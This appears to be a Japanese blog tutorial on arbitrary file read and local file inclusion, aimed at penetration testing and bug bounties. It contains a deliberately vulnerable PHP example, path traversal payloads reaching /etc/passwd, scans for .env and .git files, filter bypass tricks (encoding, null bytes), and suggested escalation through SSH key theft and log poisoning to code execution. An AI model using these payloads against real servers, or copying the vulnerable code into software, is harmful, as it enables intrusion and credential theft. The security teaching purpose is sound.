Arbitrary File Read

2025年3月19日

概要

攻撃者が意図しないサーバー上のファイルを読み取ることができる脆弱性。
通常、ウェブアプリケーションやAPIがユーザからの入力を適切に検証せずにファイルパスとして使用する事で発生。


発生する要因

1. パスの直接指定(直接入力可能なパス)

  • ユーザ入力をそのままファイルパスとして扱い、制限をかけていない
  • 例:
<?php
$file = $_GET['file']; // ユーザー入力をそのまま使用
echo file_get_contents("/var/www/html/uploads/" . $file);
?>

上記のコードでは、?file=../../../../etc/passwdのように指定すると/etc/passwdの内容を読み取れてしまう

2. パストラバーサル(ディレクトリトラバーサル)

  • ../を使って制限されたディレクトリの外へ出る事ができる
  • 例:
    • http://example.com/download.php?file=../../etc/passwd
    • http://example.com/download.php?file=../../../../var/log/apache2/access.log

3. シンボリックリンクの悪用

var/www/html/uploads/secret.logなどの許可されたディレクトリ内に攻撃者がln -s /etc/passwd/var/www/html/uploads/passwd_linkのようなシンボリックリンクを作成すると、
?file=passwd_link/etc/passwdの内容を取得できる


攻撃方法

1. Burp Suiteで直接リクエスト

  • 「Repeater」で以下のリクエストを試す
GET /.env HTTP/1.1
Host: example.com
GET /.git/config HTTP/1.1
Host: example.com
GET /backup.zip HTTP/1.1
Host: example.com

成功時

HTTP/1.1 200 OK
Content-Type: text/plain

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_USERNAME=root
DB_PASSWORD=SuperSecret123

→DBの認証情報が漏洩!


2. ffufで自動ファイル探索

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://example.com/FUZZ -mc 200

成功例

.env                   [Status: 200, Size: 302]
.git/config            [Status: 200, Size: 89]
backup.zip             [Status: 200, Size: 5024]

.envが200 OKならバグバウンティ報告対象


3. gobusterで隠しファイル探索

gobuster dir -u http://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,html,txt,json

成功例

/admin.json (200 OK)
/debug.log (200 OK)
/database.yml (200 OK)

database.ymlなどが見つかった場合、データベース情報漏洩の可能性!


4. パストラバーサル攻撃

URLが?file=でファイルを読み込む場合

curl "http://example.com/download.php?file=../../../../etc/passwd"

成功例

root:x:0:0:root:/root:/bin/bash

/etc/passwdの内容が見えたら、確実にArbitrary File Readの脆弱性あり!


.gitからソースコードを取得

.git/ディレクトリがアクセス可能なら、Gitリポジトリを丸ごとダウンロード可能

wget -r http://example.com/.git/
cd example.com/.git
git checkout .

成功例

index.php
config.php
.env

.gitディレクトリが漏洩していると、ソースコード + 環境変数すべて取得可能


Arbitary File Read攻撃に適したSecListsのワードリスト

LFI-Jhaddix.txt

ローカルファイルインクルージョン(LFI)/ディレクトリバーサル攻撃用の代表的なペイロード集。
フィルタ回避のための様々パターンや一般的なファイルパスを網羅しており、一度のスキャンで多様な試行が可能。
具体的には以下のようなペイロード変種が含まれている

  • 基本的なパストラバーサル: ../を重ねたパス(例: ../../etc/passwd)や絶対パス(例: /etc/passwd)
  • エンコードを用いた回避: URLエンコード(%2e%2eなど)二重URLエンコード(%25%2e%2eのように%自体をエンコード)を施したパス。
    これによりアプリケーション側のフィルタをすり抜けて(/etc/passwdなどに到達できる場合がある。)
  • ヌルバイト注入: 古いPHPなどでパス末尾に自動付与される拡張子を無効化するため、パスの後ろに%00(nullバイト)を付与したもの(例: /etc/passwd%00)。これにより.php等の拡張子を打ち消して任意ファイルを読み込ませることが可能。
  • その他のフィルタ回避: バックスラッシュ区切り(Windowsパス)やパス区切りの混在・大小文字の組み合わせ、….//のようにドットを重ねた特殊なシーケンス(フィルタが../を除去する場合の迂回手法)など、WAFやサニタイズを回避するペイロードが収録されている

LFI-LFISuite-pathtotest.txt

LFI-LFISuite-pathtotest.txtは重要なファイルのパス一覧を集めたワードリスト。
自動LFI攻撃ツール(LFISuite)で使用されるリストで、サーバ上で漏洩が懸念されるファイルを広範に網羅。
リストにはLinux/Unix系とWindows系の両方のパスが含まれており、以下のような項目が列挙。

  • システム情報ファイル(Linux): /etc/passwd(ユーザ一覧) , /etc/shadow(パスワードハッシュ) , /etc/group(グループ情報)
  • ログファイル: ../logs/access_log../logs/error_log(Webサーバのアクセス/エラーログ)や/var/log/secure/var/log/vsftpd.log等のシステム・サービスログ。
    これらの情報漏洩につながるほか、後述のようにログインジェクション攻撃(LFI経由のRCE)にも利用される。
  • 設定ファイル: データベース設定(例: /etc/mysql/my.cnf や /etc/my.cnfに含まれる認証情報)やFTP/メールサーバ設定(例: /etc/vsftpd.conf, /etc/proftpd/proftpd.conf) など。アプリケーションの機密情報が含まれる可能性がある。
  • 特殊なプロセスファイル: /proc/self/environ(動的にプロセスの環境変数を読み取れるファイル) , /proc/self/cmdlineなどの /proc配下のファイル。
    /proc/self/environは現在のHTTPリクエストのヘッダ情報を含むため、コード実行テクニックに応用できる。
  • Windows重要ファイル: C:\boot.ini(ブート設定) , C:\Windows\System32\drivers\etc\hosts(ホストファイル),IIS設定ファイル(C:\intepub\wwwroot\web.config)やIISログなど。

既にLFIが疑われるパラメータに対して、このパスリストを入力しどのファイルが読み取れるかを総当たりで試すこと。例えば、fileパラメータに対して …/LFI-LFISuite-pathtotest.txtの内容を適用しレスポンスの変化(200ステータスになる、内容長が増えるなど)を観察することで、どのパスが存在し閲覧可能かを確認。
LFI-Jhaddix.txt同様にFFUfの-wオプションやBurp Intruderに設定して利用できる。


運用上のポイント: このリストには ../etc/passwdのような相対パスで始まる項目もふくまれているため、対象アプリの動作に応じてエントリを選択する必要がある。もしパラメータ値がそのままinclude等に渡される場合、絶対パス(/etc/passwd)を試すことで直接ファイルを読みに行ける。一方、何らかのディレクトリ固定パスの後にパラメータが連結される場合(例: /var/www/html/<param>.phpのようなケース)、../../を適切な深さまで付与した相対パスエントリ(リスト中の../../../etc/passwd等)を使用して親ディレクトリへ遡る必要がある。
リストの深さの異なるパターンも収録済みのため、まず浅い../から順に試してヒットする深度を探すことも可能

脆弱性検証に成功した後は、該当パスをブラウザやBurpでリクエストし、実際のファイル内容を取得する。
例えばLinuxサーバで /etc/passwdが読めた場合、そこから得たユーザ名でSSHや他サービスへの攻撃を検討したり、さらなる重要ファイル(SSHや構成ファイルなど)を引き続きこのリストで探索するといった展開が考えられる。

実践のテクニックや組み合わせ

LFI/パストラバーサル攻撃を成功させるために、ワードリスト使用と併せていくつかのテクニックを組み合わせることが重要。

1. パラメータの特定:

どのパラメータがファイルパスを受け取っているか不明な場合、SecListsのburp-parameter-names.txtなどを使ってパラメータ名を総当たり、ファイル包含が起こり得る入力ポイントを見つけます。パラメータが判明したら、前述のペイロード辞書でその値を攻撃。

2. OSに応じたベースパスの選択:

攻撃対象がLinux系かWindows系かで狙うファイルパスを切り替える。
一般的にLinuxでは /etc/passwdが存在確認・読み取りテストに適している。
WindowsならC:\Windows\System32\drivers\etc\hostsC:\boot.iniなどが定番
SecListsのリストには両方のパスが含まれている

3. ペイロードの微調整:

ワードリストでヒットが得られない場合でも、アプリ固有のフィルタやパス構成を推測してペイロードを調整。例えば、パラメータの後ろに拡張子自動付与されている場合は%00を付けてみる。
/etc/passwd%00】で.php等を無効化。
あるいはフィルタで../が除去されている場合は….//../../のように意図的に不正なパスを送りフィルタ処理後に正しいパスになるよう工夫する。これらの手法はSecListsのリスト内にも含まれているが、必要に応じて追加検証する事で突破口をさがすことができる

4. ファイル内容の確認と展開:

読み取ったファイルから得られた情報を活用する。例えば /etc/passwdでユーザを確認したら対応する/home/<user>/.ssh/authorized_keysやSSH鍵(id_rsa)を読み取れるか試したり​、ウェブアプリの設定ファイル(データベース接続情報や認証情報が記載されたconfig.php等)を探す。SecListsのパスリストには典型的な機密ファイルパスが網羅されているため、それらを順次試すことで横展開が可能。

5. コード実行への発展:

LFIはファイルの読み取りだけでなく、工夫次第で任意コード実行(RCE)に繋げられる場合がある。例えば、
1. ログポイズニング: 攻撃者が自分のリクエストに悪意あるPHPコードを含むユーザーエージェント文字列を仕込み、Webサーバのアクセスログに書き込ませた上で、そのログファイル(例: /var/log/apache2/access.log)をLFIで読み込むと、PHPとして実行されシェルが得られるケースがあります。/proc/self/environに環境変数として格納された悪意あるコードを含むリクエストを送り、LFIでそのファイルを読み込んで実行する手法も有効。


Web脆弱性

Posted by Iori